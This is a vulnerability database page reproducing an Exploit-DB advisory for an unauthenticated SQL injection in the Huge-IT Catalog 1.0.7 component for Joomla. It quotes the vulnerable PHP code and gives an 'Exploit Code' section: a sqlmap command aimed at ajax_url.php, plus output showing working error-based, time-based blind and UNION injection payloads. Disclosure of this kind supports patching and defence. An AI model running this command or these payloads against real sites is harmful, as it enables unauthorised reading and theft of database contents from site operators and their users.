Lucene search
K

Joomla! Component Catalog 1.0.7 - SQL Injection

🗓️ 16 Sep 2016 00:00:00Reported by Larry W. CashdollarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla

Related
Code
Title: Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-16
Download Site: http://huge-it.com/joomla-catalog/
Vendor: huge-it.com
Vendor Notified: 2016-09-17
Vendor Contact: [email protected]
Description: 
Huge-IT Product Catalog is made for demonstration, sale, advertisements for your products. Imagine a stand with a 
variety of catalogs with a specific product category. To imagine is not difficult, to use is even easier.

Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions via 'load_more_elements_into_catalog' located in ajax_url.php. 

Vulnerable Code in : ajax_url.php

 11 define('_JEXEC', 1);
 12 defined('_JEXEC') or die('Restircted access');
.
.
.
308         } elseif ($_POST["post"] == "load_more_elements_into_catalog") {
309             $catalog_id = $_POST["catalog_id"];
310             $old_count = $_POST["old_count"];
311             $count_into_page = $_POST["count_into_page"];
312             $show_thumbs = $_POST["show_thumbs"];
313             $show_description = $_POST["show_description"];
314             $show_linkbutton = $_POST["show_linkbutton"];
315             $parmalink = $_POST["parmalink"];
316             $level = $_POST['level'];
.
.
.
359             $query->select('*');
360             $query->from('#__huge_it_catalog_products');
361             $query->where('catalog_id =' . $catalog_id);
362             $query->order('ordering asc');
363             $db->setQuery($query, $from, $count_into_page);

CVE-ID: CVE-2016-1000125
Export: JSON TEXT XML
Exploit Code:
	• $ sqlmap -u 'http://example.com/components/com_catalog/ajax_url.php' --data="prod_page=1&post=load_more_elements_into_catalog&catalog_id=*&old_count=*&count_into_page=*&show_thumbs=*&show_description=*&parmalink=*"  --level=5 --risk=3
	•  
	• Parameter: #1* ((custom) POST)
	•     Type: error-based
	•     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
	•     Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-2369 OR 1 GROUP BY CONCAT(0x717a627871,(SELECT (CASE WHEN (1973=1973) THEN 1 ELSE 0 END)),0x716b787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
	•  
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
	•     Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=(CASE WHEN (7371=7371) THEN SLEEP(5) ELSE 7371 END)&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
	•  
	•     Type: UNION query
	•     Title: Generic UNION query (random number) - 15 columns
	•     Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-5943 UNION ALL SELECT 2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,CONCAT(0x717a627871,0x494a475477424c724f6f7853556d61597544576f4b614d6e41596771595253476c4251797a685974,0x716b787671)-- FvOy&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
	• ---
	• [16:48:10] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Debian 8.0 (jessie)
	• web application technology: Apache 2.4.10
	• back-end DBMS: MySQL >= 5.0.12
	• [16:48:10] [WARNING] HTTP error codes detected during run:
	• 500 (Internal Server Error) - 6637 times
	• [16:48:10] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
	•  
	• [*] shutting down at 16:48:10
	•  

Advisory: http://www.vapidlabs.com/advisory.php?v=171

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Sep 2016 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 39.8
EPSS0.02249
43